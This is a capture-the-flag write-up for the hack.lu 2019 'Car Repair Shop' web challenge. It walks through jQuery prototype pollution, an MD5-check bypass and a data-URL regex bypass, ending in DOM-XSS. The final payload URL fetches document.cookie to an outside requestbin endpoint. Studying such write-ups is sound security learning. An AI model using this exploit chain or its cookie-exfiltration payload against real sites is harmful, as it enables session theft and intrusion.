hack.lu 2019 - Car Repair Shop

prototype pollution, URL regex bypass, DOM-XSS

Challenge Description

"Your Car broke down?! Come to our shop, we repair all cars! Even very old ones."

Enter the Shop

Analysis

After accessing the URL of the challenge description the following page showed up:

car repair shop

Here we can see several buttons which will execute certain functions when clicked. Below there is a message box which gets updated after some function was executed. At the bottom there was another button named Get your cookie! which lead to a subpage where a URL could be sumitted. The submitted URL would then be visited by an automated browser.

So the big picture looked like we had to craft a URL containing a payload and submit it. When it gets visited we have to exfiltrate the flag somehow. The button name suggested that the flag was in the cookie.

The page was small and contained (among others) the following interesting files:

  • index.html
  • car.class.js
  • util.js
  • jquery.min.js
  • jquery.md5.js

util.js was responsible for setting up the page like event handlers and then started to execute some code:

const urlParams = new URLSearchParams(window.location.search)
const h = location.hash.slice(1)
const bugatti = new Car('Bugatti', 'T35', 'green', 'assets/images/bugatti.png')
const porsche = new Car('Porsche', '911', 'yellow', 'assets/images/porsche.png')

[...]

    if(h.includes('Bugatti'))
        autoStart(bugatti)
    if(h.includes('Porsche'))
        autoStart(porsche)

The autoStart-function will execute the repair, ignition and powerOn methods of the car passed as argument. The respective code can be found in car.class.js. The repair-function accesses the URL and parses a JSON-object of the query parameter with the same name as the function:

repair() {
    if(urlParams.has('repair')) {
        $.extend(true, this, JSON.parse(urlParams.get('repair')))
    }
}

This code will merge the attributes and values provided in the JSON object with the Car object. This is dangerous and opens a prototype pollution vulnerability as described here. We can overwrite the __proto__ attribute of the Car and introduce new attributes.

Next the ignition-function is called:

ignition() {
    if (this.key == "") {
        infobox(`Looks like the key got lost. No wonder the car is not starting ...`)
    }
    if (this.key == "🔑") {
        infobox(`The car started!`)
        this.start()
    }
}

We need to set the key property of the Car-object to get it started. Otherwise the last of the three functions powerOn will not get us to the next car:

powerOn() {
    if (this.isStarted()) {
        infobox(`Well Done!`)
        nextCar()

    } else {
        $('.chargeup')[0].play()
    }
}
const cars = [bugatti, porsche]

[...]

const nextCar = () => {
    cars.push(cars.shift())
    $(".image").attr('src', cars[0].pic);
}

To repair the bugatti we can just specify the key with the value of the emoji in the URL and the repair-function will do its job:

https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/?repair={%22key%22:%22%F0%9F%94%91%22}

This will bring us to the porsche. Here there were some customizations made to the repair and ignition functions:

porsche.repair = () => {
    if(!bugatti.isStarted()){
        infobox(`Not so fast. Repair the other car first!`)
    }
    else if($.md5(porsche) == '9cdfb439c7876e703e307864c9167a15'){
        if(urlParams.has('help')) {
            repairWithHelper(urlParams.get('help'))
        }
    }
    else{
        infobox(`Repairing this is not that easy.`)
    }
}
porsche.ignition = () => {
    infobox(`Hmm ... WTF!`)
}

Here the ignition-function does not matter as it simply outputs some text. The repair-function however has some special requirements:

  1. The bugatti needs to be started before.
  2. The md5 of the porsche-object needs to be 9cdfb439c7876e703e307864c9167a15

(1) is already achieved with the correct key in the URL and should be satisfied. (2) needs to be done. The MD5 hash is actually the hash of the string lol (see your favorite hash lookup table, e.g. crackstation.net). So how is the hash computed of an object? Looking at the code of jquery.md5.js it shows that the hash will be computed of the string representation of the object which is obtained through the toString method. To change the string representation of an object we would need to overwrite this method, but this is not possible in this case. We cannot create or change methods with the jQuery extend of the repair-function, only properties, because of JSON.

To solve this problem we can use an interesting property of JavaScript arrays and the prototype pollution mentioned before. When an array is converted to a string in JavaScript it will become a string representation of its elements joined by ,. So for example ["lol"] becomes "lol". Now combined with prototype pollution this can be easily verified with:

$.md5({__proto__:["lol"]}) == '9cdfb439c7876e703e307864c9167a15'

However in the payload we cannot set the prototype directly to our array, otherwise we lose the functionality provided by the Car class. We can circumvent this by not directly setting the prototype to the array but to an object with the prototype set to the array: {"__proto__": {"__proto__": ["lol"]}}
This indirection through another object was discovered by team member "Smashing" while I was taking the bus from the conference back to the hotel. So this was a pleasant surprise and spared me some time ;)

The new payload looks like the following now:

https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/?repair={%22key%22:%22%F0%9F%94%91%22,%22__proto__%22:%20{%22__proto__%22:%20[%22lol%22]}}#BugattiPorsche

With this we can bypass the MD5 check and get to the repairWithHelper function used in the porsche-repair-function:

const repairWithHelper = (src) => {
    /* who needs csp anyways !? */
    urlRegx = /^\w{4,5}:\/\/car-repair-shop\.fluxfingersforfuture\.fluxfingers\.net\/[\w\d]+\/.+\.js$/;
    if (urlRegx.test(src)) {
        let s = document.createElement('script')
        s.src = src
        $('head').append(s)
    }
}

Here we can see that it creates a script and sets its src-attribute to the URL provided as argument of the function. This argument can be controlled with the help query parameter. The problem we face is the regex which seems to be very restrictive. Only the last part of the URL (the filename) allows arbitrary characters. After some testing I discovered that a data-URL would match the regex data:[<MIME-Type>][;charset=<Charset>][;base64],<Data>. There was only the uncertainty if it would load with some garbage content type as the required *.fluxfingers.net hostname would be placed there. To my surprise this worked and I was able to pop an alert(1) with help set to:

help=data://car-repair-shop.fluxfingersforfuture.fluxfingers.net/text/javascript,alert(1)//.js

The updated payload URL:

https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/?repair={%22key%22:%22%F0%9F%94%91%22,%22__proto__%22:%20{%22__proto__%22:%20[%22lol%22],%20%22dotAll%22:true}}&help=data://car-repair-shop.fluxfingersforfuture.fluxfingers.net/text/javascript,alert(1)//.js#BugattiPorsche

So now we have the full exploit chain together. The only missing part is reading the flag.

Solution

The final payload, which gave us the flag, looked like the following:

https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/?repair={%22key%22:%22%F0%9F%94%91%22,%22__proto__%22:%20{%22__proto__%22:%20[%22lol%22],%20%22dotAll%22:true}}&help=data://car-repair-shop.fluxfingersforfuture.fluxfingers.net/text/javascript,fetch(%22https://en7f8h9cynsmk.x.pipedream.net/%22%2Bdocument.cookie)//.js#BugattiPorsche

It extracts the cookie and sends it as part of the URL with fetch to an HTTP-endpoint controlled by us. RequestBin.com and similar sites are very useful for that. There we can inspect the requests and see what the visitor of our payload URL will send.

flag exfiltrated to requestbin

Finally we got the correct flag: flag{brumm_brumm_brumm_brumm_brumm_brumm_brumm}


Navigation